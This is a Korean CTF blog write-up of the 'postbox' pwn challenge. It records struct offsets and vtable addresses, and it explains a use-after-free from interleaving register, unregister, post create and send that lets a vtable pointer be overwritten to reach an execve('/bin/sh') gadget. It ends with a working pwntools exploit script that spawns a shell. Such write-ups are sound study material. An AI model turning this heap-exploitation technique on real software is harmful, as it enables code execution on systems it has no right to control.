total info
+0 post나 register info덩어리 주소
+24 다음 덩어리
덩어리 주소
+0 인덱스 post register info구분~~
user register
+0 0x6d10c8(vtable) -> register끝나고 createpost할때 바뀜 0x6d1090
+8 (0x8) name(12)
createpost할때 0x10 0x6d10a0
+24(0x18) phone number(15)
+40(0x28) zip code(7)
+56(0x38) address(90)
+176(0xb0) 0x6d10d8
**** register할때는 post할떄 totalinfo에 적용되는 꼴이 똑같다. 즉 같은 모양으로 저장된다. 둘다 크기는 240
구조체를 보니 post의 vtable함수들이 전부 저장되어있다.!? 이걸잘 덮어쓰면 pc조작이 가능할 거 같다.
totlainfo의 구조체는 최대 수용이 4개까지고 넘어가면 linked list로 넘어간다.
이때 register unregister과 post create send를 잘 섞으면 uaf가 터져서 eip컨트롤이 가능하다.
취약점은 send하고. unregister할때 이 두 데이터를 구분을 잘 못해줘서 register로 post데이터를 덮을수 있다. change메뉴를 덮어서 트리거 할 수 있다.
0x41297f가 mov rdi binsh syscall execve가 있는 장소인데
rdx가 안맞아서 잘 안됐다.
근데 그냥 두드리던 중에 [rdx+8]에 있는 주소가 readable하면 rdx가 널이 아니더라도 쉘이 따졌다...
ㅇㅁㅇ ㅇ마튼 풀어서 기분 좋긴한데 이문제는 뭔가 디버깅하다가 얻어걸린게 많아서 정확하게 클래스 분석도 해봐야겠다.
from pwn import * r=process('./postbox') raw_input() def register(name,phone,zip,address): r.sendlineafter('->','1') r.sendlineafter('->',name) r.sendlineafter('->',phone) r.sendlineafter('->',zip) r.sendlineafter('->',address) def unregister(): r.sendlineafter('->','1') r.sendlineafter('->','Y') def create(kind,price,name,recp_name,phone,recp_zip,recp_addr,delivery): r.sendlineafter('->','2') r.sendlineafter('->',kind) r.sendlineafter('->',price) r.sendlineafter('->',name) r.sendlineafter('->',recp_name) r.sendlineafter('->',phone) r.sendlineafter('->',recp_zip) r.sendlineafter('->',recp_addr) r.sendlineafter('->',delivery) def change(ind,menu,cont): r.sendlineafter('->','3') r.sendlineafter('->',menu) r.sendlineafter('->',cont) r.sendlineafter('5') def send(ind): r.sendlineafter('->','4') r.sendlineafter('->',ind) register('A','A','A','A') create('1','1','1','1','1','1','1','1') create('2','2','2','2','2','2','2','2') send('1') send('1') unregister() register('3333','4444','5555','6666') unregister() register('\xa0\x10\x6d','\x7f\x29\x41','DDDD','EEEE') #register("\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41") unregister() r.sendline('3') r.sendline('2') r.sendline('2') r.interactive()
'CTF' 카테고리의 다른 글
[codegate 17 final]BMP (0) | 2017.05.14 |
---|---|
[defcon prequal 2017]magic (0) | 2017.05.12 |
[codegate 2017 final]real (0) | 2017.05.09 |
[codegate 2017 prequal]meow (0) | 2017.05.09 |
[codegate17 prequal]Goversing (0) | 2017.05.08 |